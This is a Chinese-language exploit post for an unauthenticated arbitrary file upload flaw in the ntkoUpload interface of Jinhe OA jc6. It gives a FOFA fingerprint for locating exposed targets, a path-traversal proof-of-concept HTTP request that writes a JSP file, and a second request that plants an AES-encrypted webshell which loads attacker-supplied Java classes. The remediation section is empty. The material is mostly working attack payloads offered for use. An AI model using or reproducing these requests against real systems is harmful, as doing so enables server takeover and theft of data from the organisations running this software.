产品简介

金和网络是专业信息化服务商，为城市监管部门提供了互联网+监管解决方案，为企事业单位提供组织协同OA系统升开发平台，电子政务一体化平台智慧电商平合等服务

漏洞概述

金和OA jc6系统ntkoUpload接口处存在任意文件上传漏洞，未经身份认证的攻击者可利用此漏洞上传恶意后门文件，最终可导致服务器失陷。

指纹识别

fofa:

app="金和网络-金和OA"

漏洞利用

poc:

POST /jc6/ntkoUpload/ntko-upload!upload.action HTTP/1.1
Host: you_ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Content-Length: 392
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----zqulxi4ku42pfmoelvc0
Connection: close

------zqulxi4ku42pfmoelvc0
Content-Disposition: form-data; name="filename"

../../../../upload/xicxc2sv1n.jsp
------zqulxi4ku42pfmoelvc0
Content-Disposition: form-data; name="upLoadFile"; filename="xicxc2sv1n.jpg"
Content-Type: image/jpeg

<% out.println(111*111); %>
------zqulxi4ku42pfmoelvc0
Content-Disposition: form-data; name="Submit"

upload
------zqulxi4ku42pfmoelvc0--

验证url

http://you_ip/upload/请求体中自定义文件名

上传webshell

POST /jc6/ntkoUpload/ntko-upload!upload.action HTTP/1.1
Host: you_ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Content-Length: 884
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----ow5vper5glgwwejbu7pp
Connection: close

------ow5vper5glgwwejbu7pp
Content-Disposition: form-data; name="filename"

../../../../upload/hhh.jsp
------ow5vper5glgwwejbu7pp
Content-Disposition: form-data; name="upLoadFile"; filename="hhh.jpg"
Content-Type: image/jpeg

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
------ow5vper5glgwwejbu7pp
Content-Disposition: form-data; name="Submit"

upload
------ow5vper5glgwwejbu7pp--

尝试连接

修复建议

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